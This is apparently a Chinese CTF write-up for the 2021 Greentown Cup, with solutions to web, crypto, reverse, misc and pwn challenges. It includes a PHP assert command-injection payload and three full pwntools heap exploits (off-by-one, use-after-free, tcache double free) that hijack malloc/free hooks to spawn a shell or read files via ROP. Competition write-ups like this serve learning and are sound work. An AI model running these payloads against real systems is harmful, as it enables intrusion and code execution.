2021绿城杯wp

2021首届绿城杯wp

成绩

等官方ban人再贴,一秒解rsa的“大佬”是真的np

web

ez_php

原题,没啥好说的,网站提示git泄露,用dumpall获取源代码

关键代码

if (isset($_GET['link_page'])) {
$link_page = $_GET['link_page'];
} else {
$link_page = "home";
}

$page_file = "pages/" . $link_page . ".php";

$safe_check1 = "strpos('$page_file', '..') === false";
assert($safe_check1) or die("no no no!");

// safe!
$safe_check2 = "file_exists('$page_file')";
assert($safe_check2) or die("no this file!");
?>

首先assert可以命令执行,也就是我们只需要构造闭合file_exists即可,然后注释后面的语句,payload如下

') or system('cat pages/flag.php');//

在bp里需要url编码

Crypto

[warmup]加密算法

题目:

from Crypto.Util.number import *
from flag import flag
assert flag[:5]=='flag{'

str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
def encode(plain_text, a, b, m):
cipher_text = ''
for i in plain_text:
if i in str1:
addr = str1.find(i)
cipher_text += str1[(a*addr+b) % m]
else:
cipher_text += i
print(cipher_text)


encode(flag,37,23,52)
# cipher_text = 'aoxL{XaaHKP_tHgwpc_hN_ToXnnht}'

仿射,爆破就完事

str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
def encode(plain_text, a, b, m):
cipher_text = ''
for i in range(len(plain_text)):
if plain_text[i] in str1:
for j in range(len(str1)):
if str1[(a*j+b) % m] == plain_text[i]:
cipher_text += str1[j]
else:
pass
else:
cipher_text += plain_text[i]
print(cipher_text)

flag = 'aoxL{XaaHKP_tHgwpc_hN_ToXnnht}'
encode(flag,37,23,52)

flag{AffInE_CIpheR_iS_clAssiC}

RSA-1

题目

from Crypto.Util.number import *
import gmpy2
from flag import flag
assert flag[:5]==b'flag{'

m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
print('n =',n)
e = 0x10001
M = 2021 * m * 1001 * p
c = pow(M,e,n)
print('c =',c)

#n = 17365231154926348364478276872558492775911760603002394353723603461898405740234715001820111548600914907617003806652492391686710256274156677887101997175692277729648456087534987616743724646598234466094779540729413583826355145277980479040157075453694250572316638348121571218759769533738721506811175866990851972838466307594226293836934116659685215775643285465895317755892754473332034234495795936183610569571016400535362762699517686781602302045048532131426035260878979892169441059467623523060569285570577199236309888155833013721997933960457784653262076135561769838704166810384309655788983073376941843467117256002645962737847
#c = 6944967108815437735428941286784119403138319713455732155925055928646536962597672941805831312130689338014913452081296400272862710447207265099750401657828165836013122848656839100854719965188680097375491193249127725599660383746827031803066026497989298856420216250206035068180963797454792151191071433645946245914916732637007117085199442894495667455544517483404006536607121480678688000420422281380539368519807162175099763891988648117937777951069899975260190018995834904541447562718307433906592021226666885638877020304005614450763081337082838608414756162253825697420493509914578546951634127502393647068722995363753321912676

$a = 2021\times1001$
$(apm)^{65537}$ %n=c,则c ≡ 0 % p,可得 c = kp,由此 p=gcd(n,c),后面就常规RSA

from gmpy2 import *
import binascii
n = 17365231154926348364478276872558492775911760603002394353723603461898405740234715001820111548600914907617003806652492391686710256274156677887101997175692277729648456087534987616743724646598234466094779540729413583826355145277980479040157075453694250572316638348121571218759769533738721506811175866990851972838466307594226293836934116659685215775643285465895317755892754473332034234495795936183610569571016400535362762699517686781602302045048532131426035260878979892169441059467623523060569285570577199236309888155833013721997933960457784653262076135561769838704166810384309655788983073376941843467117256002645962737847
c = 6944967108815437735428941286784119403138319713455732155925055928646536962597672941805831312130689338014913452081296400272862710447207265099750401657828165836013122848656839100854719965188680097375491193249127725599660383746827031803066026497989298856420216250206035068180963797454792151191071433645946245914916732637007117085199442894495667455544517483404006536607121480678688000420422281380539368519807162175099763891988648117937777951069899975260190018995834904541447562718307433906592021226666885638877020304005614450763081337082838608414756162253825697420493509914578546951634127502393647068722995363753321912676
e = 0x10001
p = gcd(n,c)
q = n//p
phi = (q-1)*(p-1)
d = invert(e,phi)
M = powmod(c,d,n)
m = int(M // (2021*p*1001))
print(binascii.unhexlify(hex(m)[2:]))
flag{Math_1s_1nterest1ng_hah}

RSA-2

题目

from Crypto.Util.number import *
import gmpy2
from flag import flag
assert flag[:5]==b'flag{'

m1 = bytes_to_long(flag[:20])
p = getPrime(512)
p1 = gmpy2.next_prime(p)
q = getPrime(512)
q1 = gmpy2.next_prime(q)
n1 = p*q*p1*q1
print('n1 =',n1)
e = 0x10001
c1 = pow(m1,e,n1)
print('c1 =',c1)


m2 = bytes_to_long(flag[20:])
p2 = getPrime(1024)
q2 = getPrime(1024)
print('p2+q2 =',p2+q2)
print('q2*q2 =',p2*q2)
n2 = p2*p2*q2*q2*q2
print('n2 =',n2)
c2 = pow(m2,e,n2)
print('c2 =',c2)

#n1 = 6348779979606280884589422188738902470575876294643492831465947360363568026280963989291591157710389629216109615274754718329987990551836115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405062345280120526771439940278606226153077959057882262745273394986607004406770035459301695806378598890589432538916219821477777021460189140081521779103226953544426441823244765828342973086422949017937701261348963541035128661464068769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844132297414094727147161169548160586911
#c1 = 6201882078995455673376327652982610102807874783073703018551044780440620679217833227711395689114659144506630609087600915116940111002026241056808189658969089532597757995423694966667948250438579639890580690392400661711864264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134018830006918682733848618201088649690422818940385123599468595766345668931882249779415788129316594083269412221804774856038796248038700275509397599351533280014908894068141056694660319816046357462684688942519849441237878018480036145051967731081582598773076490918572392784684372694103015244826

#p2+q2 = 274773146761138462708137582309097386437793891793691383033856524303010811294101933454824485010521468914846151819876043508541879637544444256520741418495479393777132830985856522008561088410862815913292288683761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778
#q2*q2 = 18514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739141959926523082142273672741849552475156278397131571360099018592018959785627785130126477982765210498547680367230723634424036009539347854344573537848628061468892166199866227984167843139793429682559241317072979374002912607549039431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547840060892527576940077162990069687019966946826210112318408269749294366586682732614372434218768720577917368726530200897558912687470088583774711767599580037663378929000217
#n2 = 40588227045595304080360385041082238507044292731344465815296032905633525556943787610712651675460810768762763493579129831271018141591546207557410817432455139315527674932933085299277599173971912445226532235814580879585317211349524406424200622675880992390782025158621241499693400288031658194434641718026910652327933253877313106112861283314274635124734817398465059373562194694957841264834312640926278890386089611103714990646541470577351599526904458342660444968591197606820361364761648205241041444681145820799054413179462285509661124362074093583494932706249461954240408827087015525507173082129412234486228092002841868365895837463699200959915782767657258729794037776401995309244941171415842403617486719492483671490834562579225506831496881542530519595438932482796867853234159664409420977526102480385193101883785161080269573707156626838551506024455480650224305894501968583442346807126920740779780593650871645915149689424292912611578291912721896864772950410266629045542480009266574096080138709683466489568290569363478444349563498507530805502511051165160827192795520182720802422213364247355775222858214648603034743679187470844212529134374975737510982287957316878179964602394749601431823167982157434890459245394370728942790117156485268116758052636794417268680901420193002289035538753620555488506926366624641291881353268617130968991258983002165300186971963661666476600998389048880565199317280428349802824448329898502788492233381873026217202981921654673840142095839603360666049476100561268336225902504932800605464136192275593886736746497955270280541423593
#c2 = 25591090168544821761746024178724660839590948190451329227481168576490717242294520739865602061082558759751196452117720647426598261568572440942370039702932821941366792140173428488344932203576334292648255551171274828821657097667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550266972216752593788734836373144363217639612492397228808215205862281278774096317615918854403992620720969173788151215489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507116519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264933137622929024918619477538521533548551789739698933067212305578480416163609137189891797209277557411169643568540392303036719952140554435338851671440952865151077383220305295001632816442144022437763089133141886924265774247290306669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059299035212928041546259933118564251119588970009016873855478556588250138969938599988198494567241172399453741709840486953189764289118312870580993115636710724139809708256360212728127786394411676427828431569046279687481368215137561500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077896631909654671612557207653830344897644115936322128351494551004652981550758791285434809816872381900401440743578104582305215488888563166054568802145921399726673752722820646807494657299104190123945675647

这道题分两部分,第一部分是祥云杯2020的RSAssss原题,直接套脚本

#part 1
from Crypto.Util.number import *
from gmpy2 import *

e = 0x10001
n = 6348779979606280884589422188738902470575876294643492831465947360363568026280963989291591157710389629216109615274754718329987990551836115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405062345280120526771439940278606226153077959057882262745273394986607004406770035459301695806378598890589432538916219821477777021460189140081521779103226953544426441823244765828342973086422949017937701261348963541035128661464068769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844132297414094727147161169548160586911
c = 6201882078995455673376327652982610102807874783073703018551044780440620679217833227711395689114659144506630609087600915116940111002026241056808189658969089532597757995423694966667948250438579639890580690392400661711864264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134018830006918682733848618201088649690422818940385123599468595766345668931882249779415788129316594083269412221804774856038796248038700275509397599351533280014908894068141056694660319816046357462684688942519849441237878018480036145051967731081582598773076490918572392784684372694103015244826

def fermat_factorization(n):
factor_list = []
get_context().precision = 2048
x = int(sqrt(n))

while True:
x += 1
y2 = x ** 2 - n
if is_square(y2):
#print('x = ',x)
y2 = mpz(y2)
get_context().precision = 2048
y = int(sqrt(y2))
factor_list.append([x+y, x-y])
if len(factor_list) == 2:
break
return factor_list

def main():
factor_list = fermat_factorization(n)
#print(factor_list)
[X1, Y1] = factor_list[0]
[X2, Y2] = factor_list[1]
assert X1 * Y1 == n
assert X2 * Y2 == n
p1 = gcd(X1, X2)
q1 = X1 // p1
p2 = gcd(Y1, Y2)
q2 = Y1 // p2
#print('p1 =',p1)
#print('p2 =',p2)
#print('q1 =',q1)
#print('q2 =',q2)

phi = (p1 - 1) * (q1 - 1) * (p2 - 1) * (q2 - 1)
d = inverse(e, phi)
flag = long_to_bytes(pow(c, d, n))
print(flag)

if __name__ == "__main__":
main()

第二部分是解方程,如下

from sympy import *
q = Symbol('q')
p = Symbol('p')
print(solve([p+q - 274773146761138462708137582309097386437793891793691383033856524303010811294101933454824485010521468914846151819876043508541879637544444256520741418495479393777132830985856522008561088410862815913292288683761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778,p*q - 18514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739141959926523082142273672741849552475156278397131571360099018592018959785627785130126477982765210498547680367230723634424036009539347854344573537848628061468892166199866227984167843139793429682559241317072979374002912607549039431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547840060892527576940077162990069687019966946826210112318408269749294366586682732614372434218768720577917368726530200897558912687470088583774711767599580037663378929000217],[p,q]))
import gmpy2
import binascii
e = 0x10001
q2 = 118403784459455138582919377906131738592946190895354489225890530955489713357948723774385902598164582767355529878101682058998518634444589192617157682795489868846289962039288493883412519273541770945888153150197763095564026103787571812611196732248676365740482179339301570536662025044058993433932899960459852671737
p2 = 156369362301683324125218204402965647844847700898336893807965993347521097936153209680438582412356886147490621941774361449543361003099855063903583735699989524930842868946568028125148569137321044967404135533563894823557903913169345053238064421472421305575401290009671355220416064671043038807885626965528792907041
n2 = p2*p2*q2*q2*q2
c2 = 25591090168544821761746024178724660839590948190451329227481168576490717242294520739865602061082558759751196452117720647426598261568572440942370039702932821941366792140173428488344932203576334292648255551171274828821657097667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550266972216752593788734836373144363217639612492397228808215205862281278774096317615918854403992620720969173788151215489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507116519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264933137622929024918619477538521533548551789739698933067212305578480416163609137189891797209277557411169643568540392303036719952140554435338851671440952865151077383220305295001632816442144022437763089133141886924265774247290306669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059299035212928041546259933118564251119588970009016873855478556588250138969938599988198494567241172399453741709840486953189764289118312870580993115636710724139809708256360212728127786394411676427828431569046279687481368215137561500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077896631909654671612557207653830344897644115936322128351494551004652981550758791285434809816872381900401440743578104582305215488888563166054568802145921399726673752722820646807494657299104190123945675647
phi = (p2*p2-p2)*(q2**3-q2*q2)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c2,d,n2)

print(binascii.unhexlify(hex(m)[2:]))

两部分合起来得到flag

flag{Euler_funct1ons_1s_very_interst1ng}

Misc

[warmup]音频隐写

直接AU打开看频谱图

flag{f8fbb2c761821d3af23858f721cc140b}

reverse

hellowrold

花指令

image-20210929174801894

image-20210929174822597

image-20210929175019760

尝试修了一下(。然后勉强能看到逻辑
大概意思就是循环字符长度次数的(input[i]^0x22)+3

s=[
188,10,187,193,213,134,127,10,201,185,81,78,136,10,130,185,49,
141,10,253,201,199,127,185,17, 78, 185, 232, 141, 87]
def xoor(a):
return ((a-3)^0x22)&0xff
a=10
for k in range(len(s)):
a=s[k]
for i in range(30):

a=xoor(a)
print(chr(a),end='')
#flag{helo_w0rld_W3lcome_70_R3}

打卡

送分题?还害我搞了半天。。
直接androidkiller打开改 not admin 为admin,

编译,安装
然后直接点一下图片就出了

flag{1cd8a8623acf512ea7a96c5305f1be9f}

easy_re

也有指令。nop去掉。
#11 22 33

可以正常f5

发现是一个流密码rc4,,不管,我们随便输入密文长的明文进来。,
然后dump出假密文,然后用假密文异或假明文得到密钥流,然后用密钥流对密文进行异或得到明文

d=[  0xF5, 0x8C, 0x8D, 0xE4, 0x9F, 0xA5, 0x28, 0x65, 0x30, 0xF4,
0xEB, 0xD3, 0x24, 0xA9, 0x91, 0x1A, 0x6F, 0xD4, 0x6A, 0xD7,
0x0B, 0x8D, 0xE8, 0xB8, 0x83, 0x4A, 0x5A, 0x6E, 0xBE, 0xCB,
0xF4, 0x4B, 0x99, 0xD6, 0xE6, 0x54, 0x7A, 0x4F, 0x50, 0x14,
0xE5, 0xEC]
dd=[ 0xA3, 0xD0, 0xDC, 0xB3, 0xD4, 0xF6, 0x2D, 0x30, 0x30, 0xA2,
0xEE, 0x85, 0x22, 0xB4, 0xC7, 0x1D, 0x66, 0x81, 0x77, 0xD2,
0x59, 0x84, 0xBA, 0xA5, 0x8A, 0x42, 0x52, 0x38, 0xA3, 0xC9,
0xFC, 0x1D, 0x99, 0xD2, 0xE0, 0x55, 0x7B, 0x48, 0x58, 0x14,
0xE7, 0xA1]

s='000000000000000000000000000000000000000000'
for i in range(len(s)):
print(chr(ord(s[i])^dd[i]^d[i]),end='')
#flag{c5e0f5f6-f79e-5b9b-988f-28f046117802}

抛石机

照着题目抄一遍成z3,利用了网上抄的一个浮点数转hex的函数

import struct
def double_to_hex(f):
return hex(struct.unpack('>Q', struct.pack('<d', f))[0] & 0xffffffff)[2:].zfill(8)
from z3 import *
x = Real('x')
y = Real('y')
z = Real('z')
m = Real('m')
v4 = 149.2 * x + x * -27.6 * x - 129.0
v3 = 149.2 * y + y * -27.6 *y - 129.0
v2 = z * -39.6 * z + 59.2 *z + 37.8
v1 = m * -39.6 * m + 59.2 * m + 37.8
s = Solver()
s.add(x < y - 0.001)
s.add(z < m - 0.001)
s.add(v4 > -0.00003,v4 < 0.00003)
s.add(v3 > -0.00003,v3 < 0.00003)
s.add(v2 > -0.00002,v2 < 0.00002)
s.add(v1 > -0.00003,v1 < 0.00003)

s.check()
print(s.model())
z = -1012239/2097152
y = 141727/32768
x = 1133125/1048576
m = 259211/131072

print('flag{'+double_to_hex(x)+'-'+double_to_hex(y)[:4]+'-'+double_to_hex(y)[4:]+'-'+double_to_hex(z)[:4]+'-'+double_to_hex(z)[4:]+double_to_hex(m)+'}')

#flag{454af13f-f84c-1140-1ee4-debf58a4ff3f}

pwn

Null_pwn

解题思路:有off by one漏洞,且show功能正常,直接利用残留指针泄露libc,再改size造成堆重叠,实现任意chunk分配,打mallochook。

from pwn import *

#p=process('./null_pwn')
p=remote('82.157.5.28',51204)
context.log_level='debug'
libc=ELF('/home/root2/Desktop/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so')

def menu(id):
p.sendlineafter('Your choice :',str(id))

def add(id,size,content):
menu(1)
p.sendlineafter('Index:',str(id))
p.sendlineafter('Size of Heap : ',str(size))
p.sendlineafter('Content?:',str(content))

def delete(id):
menu(2)
p.sendlineafter('Index:',str(id))

def edit(id,content):
menu(3)
p.sendlineafter('Index:',str(id))
p.sendlineafter('Content?:',str(content))

def show(id):
menu(4)
p.sendlineafter('Index :',str(id))


add(0,0x4f0,'aaaa')
add(1,0x18,'bbbb')
add(2,0x60,'bbbb')
add(3,0x60,'cccc')
add(4,0x60,'cccc')



delete(0)
add(0,0x4f0,'')
show(0)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))+0x7f60e8812000-0x7f60e8bd6b0a
success('libc_base:'+hex(libc_base))

edit(1,'a'*0x18+'\xe1')

delete(2)
delete(3)

add(2,0xd0,'a'*0x60+'b'*8+p64(0x71)+p64(libc_base+libc.sym['__malloc_hook']-0x23))

add(3,0x60,'aaaa')

add(5,0x60,'a'*0x13+p64(libc_base+0xf1247))

#add(6,0x10,'aaa')





#gdb.attach(p)
p.interactive()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

ezuaf

解题思路:有uaf漏洞,free个fastbin范围外的chunk再show泄露残余指针算libc基地址,再edit那个0x70大小的chunk的fd,实现任意chunk分配,打mallochook。

from pwn import *

#p=process('./uaf_pwn')
p=remote('82.157.5.28',50702)
libc=ELF('/home/root2/Desktop/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
context.log_level='debug'

def menu(id):
p.sendlineafter('>',str(id))

def add(size):
menu(1)
p.sendlineafter('size>',str(size))

def delete(id):
menu(2)
p.sendlineafter('index>',str(id))

def edit(id,content):
menu(3)
p.sendlineafter('index>',str(id))
p.sendlineafter('content>',str(content))

def show(id):
menu(4)
p.sendlineafter('index>',str(id))

add(0x100)
add(0x10)
delete(0)
show(0)

libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x7f3068b0fb78+0x7f306874b000
success('libc_base:'+hex(libc_base))


add(0x60)
delete(2)
edit(2,p64(libc_base+libc.sym['__malloc_hook']-0x23))

add(0x60)
add(0x60)
edit(4,'a'*0x13+p64(libc_base+0x4527a))

#gdb.attach(p)
p.interactive()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL




0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

GreentownNote

解题思路:2.27的libc,有uaf漏洞,还是利用残余指针泄露,再用tcache double free打freehook,再用setcontext劫持执行流到堆区执行布置好的rop实现orw。

from pwn import *

#p=process('./GreentownNote')
p=remote('82.157.5.28',50901)
libc=ELF('/home/root2/Desktop/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
context.log_level='debug'
context.arch='amd64'

def menu(id):
p.sendlineafter('> Your choice :',str(id))

def add(size,con):
menu(1)
p.sendlineafter('> Note size :',str(size))
p.sendlineafter('> Content :',str(con))

def show(id):
menu(2)
p.sendlineafter('| Index :',str(id))

def delete(id):
menu(3)
p.sendlineafter('| Index :',str(id))

add(0xf0,'aaaa')
add(0x200,'aaaa')

for i in range(7):
delete(0)

show(0)
p.recvuntil('| Content: ')
heap_base=u64(p.recv(6).ljust(8,'\x00'))
success('heap_base:'+hex(heap_base))

delete(0)

show(0)
p.recvuntil('| Content: ')
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x7fa6ff1f6ca0+0x7fa6fee0b000
success('libc_base:'+hex(libc_base))


pop_rdi=libc_base+0x000000000002155f
pop_rsi=libc_base+0x0000000000023e6a
pop_rdx=libc_base+0x0000000000001b96
ret=libc_base+0x00000000000008aa

flag=heap_base+0x559ccab80570-0x559ccab80260
orw=heap_base+0x562a3e8eb680-0x562a3e8eb260
success('flag:'+hex(flag))
success('orw:'+hex(orw))


rop=p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym['open'])
rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx)+p64(0x100)+p64(libc_base+libc.sym['read'])
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(libc_base+libc.sym['write'])

frame = SigreturnFrame()
frame.rsp = orw
frame.rip = ret
add(0x100,'./flag\x00')

add(0x100,rop)

delete(1)
delete(1)

add(0x200,p64(libc_base+libc.sym['__free_hook']))
add(0x200,str(frame))
add(0x200,p64(libc.sym['setcontext']+53+libc_base))

#gdb.attach(p,'b *setcontext+53')
p.interactive()

作者

n03tAck

发布于

2021-09-30

更新于

2021-09-30

许可协议


:D 一言句子获取中...